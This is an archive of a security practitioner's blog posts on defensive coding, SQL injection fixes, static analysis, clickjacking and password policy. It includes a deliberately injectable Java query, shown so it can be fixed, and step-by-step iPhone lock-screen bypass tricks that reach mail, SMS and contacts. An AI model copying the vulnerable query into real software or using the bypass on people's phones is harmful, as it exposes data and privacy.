Sylvan von Stuppe

A Non-Technical Rant

2009-11-19T02:20:00.000Z

First, if you're looking for a post that is exemplary in its technical merit, this isn't it.

Second, my apologies for the long silence. I've been working on exciting stuff, but that's no excuse for posting nothing for this long of a period.

Now for our regularly-scheduled complaint...

I received some news today that was very disturbing. The thing in the news that bothered me was not that the person who sent the news disagreed with me - I'm not bothered by that. I tend to embrace being a bit different.

But what bothered me was a statement in the end of the message. The end of the message said that the team I was working with needed to spend more time researching ways to make defensive coding completely invisible to developers. The people who made this statement were way smarter than me, so I must be completely in the dark here.

Defensive coding should be automatic, yes. Invisible? Never. Similarly to shielding your children from every bacteria and virus that might come their way, only to find they spend the remainder of their life sick, these people think that the way to have more defensive code is to make it totally invisible to developers. Developers should be trained less on defensive programming so that when new attack vectors come out, the only people who can rescue them are security professionals. (Security professionals - what's our track record so far when we do things our way?)

So the gist of the statement was this - developers are too stupid to write defensive code. Functional code is no problem, but defensive code is serious business that we need to leave to the security professionals.

You trust developers to handle your income tax returns, but don't trust them to use prepared statements on purpose?

You trust developers to navigate the space shuttle, but doing some proper input validation is too complex for them?

You trust developers with sensitive health care information, but think that they're too dull to properly obfuscate it when logging?

See, this is exactly what the problem is right now. We security people think that everybody else is too stupid to get it, and that we have to rescue them. We can't possibly hold people accountable for gaining new knowledge? Look - the security vulnerabilities we find today aren't new. People had to program defensively long before there was a security industry. But now that there's a security industry, the best thing we can do is make writing good code transparent? Pshaw! If the coders aren't doing things right, raise your standards. If you are or know a programmer, you know the way to motivate them - tell them it can't be done. That will show you who the real programmers are. (But I'm still convinced that a decent blacklist simply cannot be written.)

A previous group I worked with used a set of tools I had written as a benchmark for hiring people. This isn't to say that what I wrote was rocket science - it just took some time, reading, and mostly tinkering. Nobody we hired was able to crack the nut in a reasonable amount of time - but we weren't looking for the people who could figure it out in an hour - the people we hired were the ones who tried - who weren't scared of a challenge - who were convinced it could be done, and who were determined to find a way to do it.

There do exist people with that mindset. The real programmers are those people. And they're not so stupid that you have to make everything invisible to them. They're smart enough that once you make the need clear to them, they will do the right thing automatically - because it's the right thing. They're the ones who will program defensively when there aren't automated tools around making their code defensive without them knowing it.

EORant.

50 Ways to Inject Your SQL

2009-06-16T13:19:00.000Z

If I had to rate it, it'd be an A+ on musicianship (I mean - who can't get an A+ for a parody of a Paul Simon song?), an A+ on lyrics (that's not the easiest song in the world to write new lyrics to), and a B+ on technology - only because with a video that short, it's really difficult to demonstrate receiving the results out of band - like in PDF, images, or by forcing the database server to do DNS lookups and logging the DNS events. But it's still good fun.

Building Security In Maturity Model

2009-03-05T02:42:00.000Z

It's no secret I'm a big fan of the work that Gary McGraw, Brian Chess, and Sammy Migues have done on the Building Security In Maturity Model (BSIMM). The idea of any maturity model is to have a set of criteria in any process that demonstrate how maturely the process is being run. While it's not an exact science, it is a pretty good comparative model, and for any process that is not fully matured or innovating, it gives some idea what the "next steps" are to improving the process. The good news about the BSIMM is that they didn't just make up the criteria for the model - they dealt with ten companies from several industries to get a picture of what some of the mature practices are out there.

One of the great things about the results of their research is that they've released the results under the Creative Commons Attribution - Share Alike 3.0 License. But it's also good to know that the run-time testing is not limited to penetration testing by the software security group, but includes fuzzing and failure or abuse cases in QA.

Anyway, I can't provide any more valuable information that what's in the model itself. So go take a look.

Dealing with SQL Injection Part I

2009-02-22T22:24:00.000Z

It turns out the new cool way of spreading malware is by SQL Injection. SQL Injection is also my favorite way of getting almost every piece of data available in the application. But I'm a solutions guy, and this is a solutions blog, so let's learn how to deal with it.

As Jeremiah said in his excellent post on the subject, a way (not necessarily the best way) of finding injection points is by outside in penetration testing. Trying particular sets of metacharacters might yield a database error, and you can often tell if the application is giving the error or if the database is giving the error. There are a couple of flaws with this approach: 1) programmers know errors are bad, and often do what they can to hide those, so you might not get adequate enough information to formulate a good attack. 2) Black-box penetration testing will only find a subset of the problems. If a particular injection is only exploitable on Tuesday, for instance, if it's not exercised on a Tuesday, it's never found. (These are called "corner cases")

The best place to fix SQL Injection vulnerabilities is in the source code. And if you have access to the source code, the absolute best method of finding SQL Injection points is by source code analysis - preferably a combination using automated static analysis tools and manual analysis. The way static analysis tools work to find the injection points is by marking data that enters the application as tainted or untrusted. Expensive tools can trace the taint through the application, through API calls, assignments, etc. until the data goes into a function that's not trusted. SQL Injections happen when untrusted data is concatenated into a query to be used in a prepared statement or query. Some example API's include in .NET DbCommand.CommandText (and children), or JDBC Statement.execute* or Connection.prepareStatement.

Here's a quick example from a web application:

Connection conn = DBUtil.getConnection();
Statement stmt = conn.createStatement();
String sql = "SELECT id, surname, givenName FROM person WHERE surname = '"
  + request.getParameter("surname")
  + "'";
ResultSet rs = stmt.executeQuery(sql);

There are two things that need to be corrected in the code above:

Rather than using a concatenated query, we should use a prepared statement, parameterized query, bind variables statement, whatever you want to call it. This allows the database driver to properly escape and transmit data to the query. For repeated queries, it also substantially improves performance.
Some sort of input validation needs to take place on the request parameter "surname" to verify that it's a legal surname syntax according to our syntax.

Here's the improved code using the first item:

Connection conn = DBUtil.getConnection();
String sql = "SELECT id, surname, givenName FROM person WHERE surname = ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, request.getParameter("surname"));
ResultSet rs = stmt.executeQuery();

It's important to note that using PreparedStatement doesn't immediately make the code immune. You have to use them properly by using bind variables. The syntax for using them differs from driver to driver and RDBMS to RDBMS, but question marks are pretty common. Some things can't be bound, however. Only constant values can be bound, so if you're depending on the user to provide table or column names, you need to make sure it is exactly one of the allowed values, or use a lookup method such as a map to map integers to the column names. Also, LIKE statements seem to cause people grief - you need to concatenate the percent signs to the bind variables like "WHERE foo LIKE '%' + ? '%'" or "WHERE foo LIKE CONCAT('%',?,'%')".

As above, the other thing that needs to happen is input validation. I picked surname on purpose because the most common SQL metacharacter first used for injection is the apostrophe. An apostrophe might also be allowable in a surname. So it becomes a perfect example of why prepared statements work so well - it doesn't mean that you don't have to use apostrophes. Here's an updated version that takes pretty complex US-ASCII surnames including apostrophes, but still gets those safely to the query later.

String search = request.getParameter("surname");
if (search == null || !search.matches("^([A-Za-z][a-z]*[' ])?[A-Z][a-z]+(-([A-Za-z][a-z]*[' ])?[A-Z][a-z]+)?$")) {
  rejectInput();
}
Connection conn = DBUtil.getConnection();
String sql = "SELECT id, surname, givenName FROM person WHERE surname = ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, search);
ResultSet rs = stmt.executeQuery();

Also, it's worth noting that simply using stored procedures does not remove SQL Injection vulnerabilities. There are two ways that injection can still take place - either by the way the statement is called from the code (with an EXEC with user data concatenated into it), or if the stored procedure uses concatenation to build a dynamic query - all you've done is moved the injection attack into the stored procedure, effectively using the prepared statement to safely transport the attack there.

Mmmm...Springtime!

2009-02-13T03:29:00.022Z

Can you smell that? sssnnnnnnifffffff..... Aahhhh yes. It's that time of year. Yeah, regardless of what Punxsutawney Phil might have had to say, it's springtime! (You folks in the colder parts of the Northern Hemisphere that won't thaw until June will just have to bear with the analogy - sorry). Yeah - it's the time of year when we clean up and clean out. Black Hat is about to start their rounds, SchmooCon just wrapped up, and all the new sales pitches start.

But I think this spring is bound to be a much more delightful one. I've become somewhat disgruntled in the AppSec industry because for a couple of years, we've not been focused on app security, but app insecurity. I think we left short. I personally think that finding weaknesses is only good if you have one of two end goals in mind: either you intend to exploit the weakness for fun and profit (or friends), or you identify them so that you can fix them. For a couple of years, the industry has grown rapidly, but sadly, mostly to the end that we're getting really good at identifying weaknesses, but leaving developers with no indications whatsoever about what to do about their problem. With no solutions, we've left our developers with two options: give up and cross your fingers hoping the bad guys never find out, or second, give up and pull the plug on your project.

But there are lots of things going on in AppSec right now which are very promising for those of us who actually want things to get better:

Gartner is releasing a Magic Quadrant on Static Analysis tools. While static analysis tools identify weaknesses, they identify them in such a way that developers can actually do something about the problems. (Please don't read that the wrong way. I'm not arguing that static analysis is "better" than blackbox/greybox testing. Lots of other people have those fights. Not for me). This is great news because an industry researcher has put a lot of effort into finding out from the industry what the best tools are in particular areas.
WhiteHat Security is providing WAF integration as one of their many services. While WAF's are not a silver bullet, when you don't have the source code, or a lot of cycles to fix issues, WAF's are a good stand-up solution to many semantic types of flaws, and a few logical ones, too. It's a step in the right direction.
Gary McGraw, Brian Chess, and Sammy Migues spent a great deal of time working with businesses learning about how they're dealing with application security, and have put together a Software Security Maturity Model to help businesses identify where they are in terms of baking in security, and where they need to go next. My favorite surprise of their investigation? The one thing that all their subjects said was most important in their program was training. And not just training on identifying weaknesses, but developing solutions.
RSnake and others are working with browser vendors to work out solutions to the whole clickjacking thing. I hate to see the standards-compliant focus of the browsers over the past few years go to back to the browser wars, but the slow-movement of the standards have crippled the advancements of browsers that are helpful in protecting users.
I'm personally doing a little bit of research on developing securely, and might actually get some work done on the project at some point and have a paper to prove it. But right now, it's all just theoretical.

If you're new to the blog, I'm passionate about fixing issues. Certainly, the first step to recovery is admitting you have a problem, but at some point you have to move beyond admitting you have a problem, and working on overcoming the problem.

Twitter Continues to Be Caught With Their Pants Down

2009-01-07T22:24:00.000Z

flee over at Fortify has an excellent analysis of the recent incidents with Twitter where very high-popularity profiles have been hijacked. The analysis is exceptional, but I have one question:

Does anybody take Twitter seriously? I mean....really?

Yes, certain brands use it as a means to remind deliberate followers that the brand is indeed still alive. In fact, is there really a better way to receive notification of the daily woot? But on the other hand, do followers really trust that Twitter has validated the authenticity of the people sending them tweets?

I suppose that unfortunately, the answer is yes. Or to be more accurate, I suppose that users have not really thought about it. In fact, I suppose that a few security-savvy users depend on it as Bruce Schneier thought it necessary to clarify that @bruceschneier is not Bruce Schneier. (Or at least not the Bruce Schneier that runs schneier.com.) And by not thinking about whether Twitter truly authenticates the source of tweets, users implicitly trust the source.

Expect to see a GPG plugin for laconica soon. (And yes, I do realize how silly of a statement that is.)

And while you're here, be sure to subscribe to the Fortify Blog. Those are all folks who do development and security, and do them both pretty well.

New Year Rundown

2009-01-07T00:13:00.000Z

I've been away from the blog for a bit lately, mostly because of work on a couple of projects that have not necessarily taken all my free time, but they've not lent themselves cleanly to a bloggable idea.

For security experts, there's no real news here. For developers, some of these tidbits may be of interest.

There's a big debate about whether pen-testing is dead, dying, evolving, or thriving. If you really want my opinion on the matter, pen testing is no less important than it has ever been. However, I think that enterprises need to shift focus from picking their jaw up off the floor to seeing how they can actually correct the issues. Pen testing will always find flaws that no other form of testing can. And it can provide good "shock value". But pen testing doesn't solve problems. For those who have pen testers in the enterprise, they need to understand that the pen test is not the end game - more defensive applications are the goal. In fact, I don't think the focus-shift that's necessary reduces the need for pen-testing, but rather increases the need for good pen-testers with good documentation ability.
Gary McGraw and Brian Chess did a superb job culling metrics from nine different enterprises to develop a maturity model for where enterprises are in their application security programs. As you've seen me say before, it's time for us to get the information that's in the security experts' hands and properly translate it to developers who are responsible for fixing findings. See the report here.
Every so often I get to work on another scenario for clickjacking. It really, really scares me. Certainly, the victim audience would be somewhat smaller than the general XSRF audience, but to think that you can use clickjacking to work around XSRF protections (including CAPTCHA) is frightening. If you're in control of it, make sure your site has some framebusting code. And even that's not 100% effective. (Considering IE can force an iframe to load at a particular security zone).
Regarding the MD5-collision-fake-CA attack demonstrated at 25C3: It's a very cool attack. And it completely negates the purpose of CA's - to validate the authenticity of a site. But who are the victims in a successful attack? The victims would be the people who are susceptible to phishing scams or DNS poisoning, but actually verify the authenticity of certificates. Sure, the browser will be fooled, but even without properly faking a CA, how many people who fall for phishing attacks don't click "Yes, I really want to do this foolish thing" when the browser warns them?
Regarding twishing: nifty idea. I wish it were mine. You can actually see the day that people got twished by the sudden change in their posts that have URL's in them. So why is twishing more severe than making thousands of fake twitter accounts? There are two reasons: 1) Twitter promptly disables ID's it deems to be automated spam accounts. Normal user accounts that are suddenly used for sending spam will pass more heuristics for legitimate use, and 2) real people already follow (and trust) the real users who got twished.
Attackers are continuing to use open redirects in Flash for new phishing attacks. Yes, just like Java applets or ActiveX controls, your Flash movies need to be analyzed for potential security flaws. Although there are lots of nifty attacks involving Flash, the simplest are still the most effective.

And...oh yeah! Happy New Year! It's a delightful time to be in the security industry, and a very good time to be a developer who understands defensive programming.

CAPTCHA-Jacking

2008-11-21T17:07:00.001Z

RSnake and Jeremiah Grossman did a really good and thorough job of going over clickjacking and many different ways that it can take place. And until I sat up one night and made my own example, I didn't consider how easy and how serious it was.

Before reading on, please note two things: 1) I'm not claiming to have discovered something new, and 2) I'm not recommending a new name or anything. Rsnake and Jeremiah did all the work and listed a whole series of things that could happen that they admitted were not exhaustive.

However, the most common way to work clickjacking is by completely hiding the target site in a transparent (0.0 opacity) iframe over "the red candy-like button". A teammate and I worked through a proof of concept, though where the idea was to make the target site visible and then use div's above the iframe to hide all the parts you don't want. The most common example would be to have the user solve a CAPTCHA. There are plenty of sites that explain that using a CAPTCHA is a great way to eliminate XSRF and clickjacking all at once.

RSnake and Jeremiah were right - the best way to avoid clickjacking is by using framebusting code. That solves a couple of other problems (although because with IE you can specify a security zone for an iframe it's not bulleproof, but at least you could have noscript that warns the user they might be getting clickjacked) such as dealing with DNS binding attacks. And if users were better about using different passwords for different sites, you can always ask for their password for sensitive actions.

Favorites Scmavorites

2008-08-29T11:09:00.000Z

Okay, a hundred sites have posted information on the iPhone exploit where you can bypass the security code required to unlock the phone. I don't think as I was playing with it last night that I discovered anything that nobody else has discovered. But I'll give a run-down of all the nifty things I was able to do with it once I got to the favorites screen:

If a single favorite has a URL, you can tap that and get Safari - the full shebang, so go to a jailbreak site. Game over. I think the security code is stored on the SIM, however, so this wouldn't necessarily bypass that - but since the phone is jailbroken, you should be able to run a telnet or ssh service in the background (good luck following that IP address for long, though).
If the favorite has a physical address, tap that to get to maps. More on that later
From Maps, put in the name of a company you know has a website. When the pin comes up for it, follow the link - back in Safari. Game over - as above.
From Maps, you can also see the home address of every contact on the phone. Or overwrite the contact information for every contact on the phone.
If a Favorite has an email address, you can tap the email addy to get to a Mail compose window. Cancel the message, and you have *full* mail access. Also, if there are links...
Hit Text Message and you go to the SMS composer window. Cancel that SMS message, and you can read all their previous SMS messages.
If the victim's Home button is configured to go to iPod, then you get full iPod controls.

Now, before you think I've gone all gloom and doom on you, I haven't. That's a very targeted attack against a single person. The most common way this would happen would be as a social engineering attack. I often get asked if somebody can use my phone because their ride hasn't shown up at the bus stop yet. The Emergency Call feature is what that's for - press Emergency Call and tap the numbers you need, but you don't get access to all the other junk. So this is a one person at a time sort of attack. This isn't some freaky remote exploit (not that it couldn't be).

There are a couple of things I haven't experimented with on this. First, I've only got one iPhone and not a budget for doing research on the iPhone, so jailbreaking it while it was locked could brick my phone at my own personal expense. If somebody else wants to hit a jailbreak site with a "locked" phone, be my guest. Second, some websites are able to open Maps from Safari - this works just like opening Youtube. Can you also open Stocks? Notes? Arbitrary other app on the phone?

And of course, Apple will probably have this fixed in the next rev of firmware (putting off copy/paste yet again). And until that time, you can either make new favorites with just phone numbers, or you can remove all your favorites, or you can change the home button behavior to go to the home screen instead of favorites. Or you can avoid getting your iPhone into the hands of strangers.

On Source Code Review

2008-07-23T23:39:00.000Z

First of all, Jeremiah Grossman's periodic Web Application Professional's Survey is online - so go take it.

That being said, I've kept quite silent on the value of static source code analysis for awhile now because I'm pretty sure what the reaction will be, but one of the questions on the survey was regarding which measures to application security go first.

There have been several places where static analysis has gotten a dissed, where it might not be necessary. Most notably of which, I think Fortify Software did their own software a disservice at the Iron Chef Blackhat edition at Black Hat last year. The competition was between some of their source code analyzers and some of their dynamic analyzers. The application testers won hands down.

Before I begin, know that I believe that there is no silver bullet to application security. Nor do I think static source code analysis is the "best" method of finding vulnerabilities. Here are some of the valid or most important reasons that static analysis should not stand alone:

Static analysis is really best at finding semantic flaws - bad API use or failure to use certain API's, etc.
Static analysis doesn't give compelling pretty pictures and videos of your application giving up information. The results of a static analysis are only meaningful to developers, and then, only meaningful to developers who understand the real risk of the types of findings.
Static analysis almost always requires really expensive tools to do a really, really good job. There are grep types of analyzers, but they don't follow taint through an application.
Static analysis may analyze components of your code that don't get used. There are still prioritization decisions to be made.
Static analysis tools can't find logical flaws such as privilege escalation or XSRF.
Static analysis has different requirements than black box testing:

Developers who understand the code and can fix it
The source code
For many tools, the code needs to at least build (doesn't have to run)

However, there are some really, really good reasons static analysis should be a part of your security toolbelt:

Static analysis can find vulnerabilities that dynamic analysis can't - corner cases. "This cross-site scripting flaw only exists on Tuesdays" - if your application was tested in a running state on Monday, you won't know that the flaw exists. Thread safety issues are very bad for an application, but a black box test of an application might never cause one to come up, and if it does, it's nearly impossible to reproduce, and the results don't say to the oracle that it was that type of vulnerability. (For example, the application gave you access even though you used the wrong password.)
The results of static analysis are meaningful to developers. They get lines of code back where untrusted data enters the application, where it flows through the application, and when it exits the application. These are the exact lines that the developers need to fix, which a black box test alone can't give you.
Since the results of a static analysis are geared toward the developers, it provides "instant training" for developers. "What does it take to make this shut up?" (While I prefer developers understand why you want it to shut up, finding all the places is pretty good, too.)
Static analysis can happen much earlier in the development process, long before the application is functional. This gives black box testers more time to test the really cool stuff that static analysis can't find.
Static analysis can take place as part of a build process, automatically generating problem tickets and/or preventing the promotion of code with high-probability, high-risk findings. This can be done with automated black-box tools, but it requires a running environment - many more moving parts.

So I'm convinced that as long as Iron Chef Blackhat is run the same way as it was last year, static analysis will always lose simply because to a spectator, the results are just boring. However, that doesn't mean that it shouldn't be a very, very vital part of the development process.

Coding is a Science, not an Art

2008-07-02T22:44:00.000Z

This has more to do with coding than engineering - two different phases of development.

When I've done code reviews, when I very clearly see a flaw and point it out, the first response is denial. (See The Five Stages of Web Application Security Grief - the devs have the same initial phase.) Developers are so quick to point out the really old defenses (it's a hidden form field; we validate that the drop down list only contains the values we expect when we render it). When you clearly explain the failures of those defenses, they move on to pure denial ("you have to show me"). Then you show them.

It doesn't have to be this hard.

Coders, know that writing code is not an art. It is a science. If it's a science, a found failure is not a comment on your value as a human being. It's a comment on your tendency to make typos, not press the right key, or simply to not have adequate information to execute the problem at hand. If I were to say that your theory has a flaw - that hurts. You've really invested something of yourself into that. But if I simply point out that you failed to carry a 1 or to consider the null hypothesis, or to turn the knob before pressing the button, it hurts much less.

Engineering is different. But if coders (myself included) were far less defensive about their code and actually valued it enough to take recommendations on how to make it better, we could get to the making it better part much, much sooner. Value your skill enough to allow others to help you make that skill better. Even the most elite of ninjas need training.

Drive By Password Changing

2008-06-29T23:49:00.000Z

Just glancing at some sites that I use day to day, I've found yet another that not only doesn't require the old password to change the password, but also has no other evident controls to prevent XSRF. And this one is a pretty big one, too. I notified them, but I'm sure I'll get a canned help desk response "to change your password, click on the Change Password link and enter your new password twice".

While I don't totally disagree with Billy Hoffman's paranoia of all things Web 2.0, you would think that the more Web 2.0 sites would actually be more concerned about security. Password issues aren't specific to Web 2.0, nor is XSRF. But you would think the people working on implementing new methods would have already figured out how to do the old methods right.

Data Destruction

2008-06-12T00:03:00.002Z

And I thought I was doing the right thing with tools like DBAN (when I only have a little time) or shred so I can set my own paranoia level high. I suspect at temperatures this high, that there's little magnetic remnant of the data. But you have to do this in a secure place (or shred first, melt later).

XPFA in Hollywood

2008-05-28T02:44:00.003Z

Well, it turns out that Cross-Personality Framing Attacks (XPFA) aren't just fact, they make good fiction, too. While Bruce Schneier asks his readers to come up with movie plot threats, the writers for CBS (at the very least) are up to the same. I saw an episode of Without a Trace tonight (Season 4, Episode 5 - or 75 "Honor Bound") where an XPFA ends up being a very pivotal plot point in the show. Certainly, there are other fictional shows where similar things happen.

It's unfortunate, however, that it doesn't just make for good fiction. These types of image-destroying attacks take place all the time, and real peoples' lives are being impacted because of them. And there's simply no real defense against it. Sadly, the only real victims are the people being attacked, and it's rare that the people who "fall for it" are inconvenienced. So there's little incentive for people who read fake profiles and ads to disbelieve what they read. This one really depends on people to be responsible, and just don't believe everything you read.

Maintainable Code

2008-05-22T22:55:00.002Z

I watched a fairly old talk by Nicholas Zakas on Maintainable JavaScript today, and even though it's not new information by any stretch, it's certainly relevant. And you might think that maintainability has nothing to do with security, but maintainability has a substantial impact on security.

First, a couple of statements about the talk. While most of the code samples are in Javascript, and some of the discussion is specific to JavaScript, it is certainly relevant to folks writing any type of code - er. except dead-end code that will never go to production, I suppose. (Unfortunately, you may think it's not going to production, but alas it will).

He mentions the following attributes as being fundamental to maintainable code:

Understandable
Intuitive
Adaptable
Extendable
Debuggable

These things certainly make it easier to add security to applications that don't have it. While some believe that web application scanning and a web application firewall can cure all that ails you, they're only part of a complete solution - fixing source code and writing good code from the beginning are critical to code defensiveness.

Another couple of attributes that Nicholas didn't mention specifically (but he certainly emphasized them) are consistency and testability.

Consistency is not only making a decision about code formatting (although cosmetic things like that make code review much easier), but consistency should apply to design patterns and library use. Consistency in design patterns helps code reviewers - once they've seen a pattern and how it's used once, they can begin to see "patterns in the patterns" - when particular algorithms are used and when they're not. A code reviewer can provide a much more valuable report when the developers use the same patterns. Consistency in libraries is critical to properly tuning static analysis tools as well as making recommended solutions that fit within the one scheme of frameworks in use.

Before I talk about testability, I'll talk about tests. Unit tests for code are very helpful during code review because they reveal how methods are supposed to behave. Not only should unit tests test for functionality, but also boundary cases and exceptions. If a function is supposed to take a number between 1 and 1,000, what happens when 0.999 is passed or 1,001 or 1000.001? Does the function fail gracefully? These types of tests help to reveal deficiencies in the functions themselves, and are helpful in revealing the desired functionality of those components. So if code is written in a way that it can't properly be tested (say, it's hard-wired to production data sources), there's a good guarantee that the tests are not being written or executed. And if they're not being written or executed, then you're missing two components - the guarantees that negative cases fail gracefully, and the external technical documentation about the desired functionality.

It was an excellent talk, however I don't totally agree with him on all points - most notably the use of closures. While I agree that closures don't solve everything, in many languages, they actually help the readability and understandability of the code. Simple is generally better, and closures properly applied can greatly simplify logic. (Yes, they can be mis-applied). And I'm undecided on extending objects you don't own. Javascript strings need a trim() function, and I've become pretty fond of Groovy - and it adds lots of functions I didn't know I needed (many of which take a closure as an argument).

So, go watch the video. And figure out where you can make things more maintainable. But like in all things - take small steps.

Somebody Changed My Password!

2008-05-13T23:39:00.002Z

Okay, not really.

On a very popular website the other day, I went to change my password. It had two of the three really common boxes required for changing a password: New Password, and Repeat New Password. Yes, they fail to prompt the user for their current password.

And this is on a site that not only allows, but encourages users to stay logged in. Their documentation is pretty sparse as it is, but I've not found anything on the site explaining to the ordinary user that they shouldn't stay logged in from a shared computer (where it's even more likely that just anybody could change my password).

So I sent in a support request. I understand there was a lot of talk in my support request about passwords and stuff, so any automated tool would probably think that I wanted to change my password and didn't know how. The only problem is, this "automated" tool took two days to reply to me - so I don't know if it's an automated response after all.

The response it took them two days to conjure started with:

Thanks for your email. To change your password:

So it took two days for a response, making me believe that a human being looked at my support request - and this is what they came up with?!

Now, most people probably already know the site in question. I won't say the site, but this makes it really easy to execute another good XPFA against somebody.

As a side note, I find it really interesting that there are evident XSRF guards in the change password form, but not the most basic of guards - the current password.

Combination Attacks and Metrics

2008-04-26T00:28:00.002Z

I think the most important benefit of blackbox and graybox application testing is the screenshots. It's actually not very helpful to a developer to just tell them "you had x number of XSS", but to show them the steps that were taken in order to do something really condemning to the application (steal credentials, money, install malware, start a worm, etc.) in order that those who receive it get a better picture of how it really impacts them.

However, at some point, metrics have to be made. Somebody has to know if site A is "better" than site B, or if site A is improved over last year.

But do combination attacks change the picture? When measured alone, 9.76% of websites were vulnerable to HTTP Response Splitting attacks, but only a trace had Insufficient Authentication, Authorization, or Session Expiration problems. I would assume Session Fixation would lie in one of those three. But how many sites actually had both? Where an attacker can send a URL to a victim with a known session iD, the client takes that ID because of a response splitting (actually, header injection in this case) problem, and the attacker waits for the victim to authenticate (not receiving a new session ID). Either of the problems alone is pretty bad. But in combination, that's very serious.

Another example would be cross-site scripting and key exposure. If a site has key exposure problems where an authenticated user can find the email address of all the users in the system by enumerating key numbers, there's an opportunity for spearphishing. But if you combine that with an anonymous, reflected Cross-site Scripting exploit, you can make a very compelling attack against users you know to be legitimate users.

How do folks roll those combinations into their metrics? I suppose that's where a consistent scoring algorithm such as CVSS (maybe not CVSS exactly) that takes multiple factors (combinations of vulnerabilities, for example) into account is helpful in keeping metrics that still show the weight of combined problems.

Simpson's paradox

2008-04-26T00:27:00.000Z

Evidently, it has other names, but Simpson's paradox is a statistical phenomenon such that the combination of success rates is the reverse of the individual success rates. For example, in each of 1995, 1996, and 1997, David Justice had a better batting average than Derek Jeter. But the combined batting average of Derek Jeter was better than that of David Justice.

It happens when one part of the sample is out of proportion to the remainder of the sample. For example, if the two had similar batting averages over the three year period, except one year, David Justice had three at bats and reached twice. His batting average for the year would be .667, but it basically gets "lost in the wash".

Now I truly understand why they say that you can make statistics say anything you want.

SANS Summit

2008-04-13T00:24:00.002Z

This week I'll be in Orlando at a SANS summit warmup before the training courses, which are next week.

I'm very excited about this one because we'll get to spend a lot of time talking, among other things, about how to roll defensive engineering and programming into the educational process for technology students.

Security is so easily exploited now because we never learned to program defensively (or never enforced it). So now, we're trying to go back and patch the dam. This is a great opportunity to discuss how we start to make brand new dams that don't need patching. And while I don't know if I would agree with IBM that the Security Business is out of business, I do agree that we need to make systems that are impervious to attack from the beginning.

Maybe I'll get Micky's autograph while I'm there...

Not a Failure

2008-03-21T21:18:00.002Z

I can't go into a whole lot of detail about the exam, but my results for the SANS GSSP-Java came in and I passed. The exam is still quite young, but some great minds are working on it - Ryan Berg and Andrew van der Stock, as well as having the backing of SANS.

My hope for the GSSP exams in the future is that they are actually affordable enough that a person without employment can actually get it. I know that accumulating, writing, and editing questions costs a lot of money, as well as securing an exam location, transmitting exams, scoring exams, communicating back to the people taking the exam, and managing the website. But for a corporation to pay for their people to take the exam in the first place does little for the corporation unless they're investing in the training of the employees as well. But it could serve as an excellent baseline for entry into a lot of shops, but for it to be effective as such, it needs to not cost a year's salary to study for and take the exam. I'm not certain at this point what SANS hopes to be the perfect place for the exam.

Take a look at SANS and see if you can schedule an exam date. The exam still needs some work, but testers can only help at this point because you have a chance to give input.

AntiSamy

2008-03-17T23:59:00.004Z

To be added to my list of ways to effectively allow HTML without allowing javascript, enter OWASP's AntiSamy library.

AntiSamy uses home-grown methods of being very specific about what is and is not allowed to come into the application. And what's very nice about it is that it already includes configuration for several profiles - online sites that allow HTML. These profiles somewhat match the profiles of those websites. For example, the slashdot profile is pretty restrictive, while the MySpace profile allows quite a bit more.

To be honest, I don't know how much better AntiSamy is than using a DTD, Schema, or RelaxNG to validate the HTML, *except* that there are additional rules that have to be validated with logical tests.

One thing that occurred to me while working on a mock-up of using XML validation to perform this validation is that <img tags (or anything with a remote URL) requires special consideration to deal with the possibility of XSRF against other sites. For example, if an attacker finds an XSRF vulnerability against some site, it's in their interest to get that URL injected in as many places as possible. One way to do this is with <img tags in sites that allow them to come from remote sites, or url() constructs in style attributes where a url is permissible. In order to deal with these, the best way I came up with is to have the server fetch the resource when the tag is entered, then when the page is rendered, to reference the URL locally. (This also gives the user the benefit of having a static version of an image, even when it expires off the original site).

Anyhow, cheers again to OWASP.

Password: Impossible

2008-02-11T00:00:00.000Z

Aviram had a post on how he thinks password complexity rules are a bad thing. To a degree, I agree with the post - the more complex you make password requirements, the more likely your users are to try to find some way to subvert that requirement (like Aviram did - change your password a bunch of times so that you can go back to the original).

Unfortunately, however, passwords are a core part of application security. Until two-factor systems become convenient for the user and cost-effective for the provider, password complexity rules are a fact of life. Right now, if a user wants to use two factor authentication, they're left carrying (or hooking up a webcam to) several RSA tokens, carrying a card in their wallet, and ensuring their cellphone is always on. Now, I like the idea of using SMS as a two factor verification as the odds of me losing my phone and my wallet (which has all my passwords) at the same time is pretty slim.

So, how I really feel about password requirements is that I do like them. For the time being, if all sites used really low-threshold password requirements, it allows users to reuse passwords. So what if an attacker can't brute force their way into your bank account? Do you use that password on some other system? If that site doesn't enforce a lockout or a change policy, then how likely is it that the attacker is going to be able to find out that you use that other system? Do you use the same identity on multiple systems?

So what is a user to do? For the typical user, I honestly don't know. I use a password safe with about a hundred entries in it. That password safe is on an SD/USB device I keep in my wallet. It's encrypted using AES, and a really long passphrase. I'm down to a very small number of passwords that I actually remember and know anymore. But it's a major inconvenience for anybody who's using passwords all day every day on different systems. To really protect your passwords, your safe needs to have a long passphrase and a short lock timeout. And that doesn't mean that attackers can't get the passwords from the clipboard or submitted forms. For an ordinary user, the first response is probably "why bother?"

Keychain is getting close to the level of system integration that makes it easy for users to use. However, not everything on Mac uses Keychain. 1Password adds quite a bit of functionality to extend the ease of use. But that's still mac only. On Windows, there's KeePass, which has some nice system integration and some additional features (like TAN's) that make it really nice. And since it's open source, there are alternatives for Mac, Linux, and mobile devices.

But I still don't think that gets the reach to all users the way it needs. Remembering to back up my password safe is a pain - I need to back it up at a few locations in the event that I lose my device, and I won't put it on the web where it becomes available for anybody else to download and bang on forever until they unlock it. I would have to protect the download with a really strong password, but then where am I going to keep that password?

And regarding the 90 day change policy - that is a good thing. Once an account is compromised, it could be months before it's actually used because, particularly with financial accounts (credit cards, online bank accounts, etc.), they tend to be sold in lots on the open market. The person who compromised the account is highly unlikely to be the one to ultimately gain from the account compromise - it's just an asset to be sold to the highest bidder.

Social Networking Threat: XPFA

2008-01-30T00:32:00.000Z

Okay - I didn't find a new kind of vulnerability or identify some brand new threat. We've seen lots and lots of cases like these:

A teacher fired for material they had on their MySpace page
People not getting a job because of information they put on their Facebook profile
People complaining that somebody close to them got their password and changed information on their social networking profile

What surprises me is that actually exploiting the non-existence of a profile isn't more prevalent. The idea that employers are looking at employees' or candidates' social networking profiles is no surprise. And if many people know that it's common, why don't we see more hijacking of a non-existent identity? If a person doesn't have a Facebook profile, but they have enemies, why aren't enemies falsifying profiles?

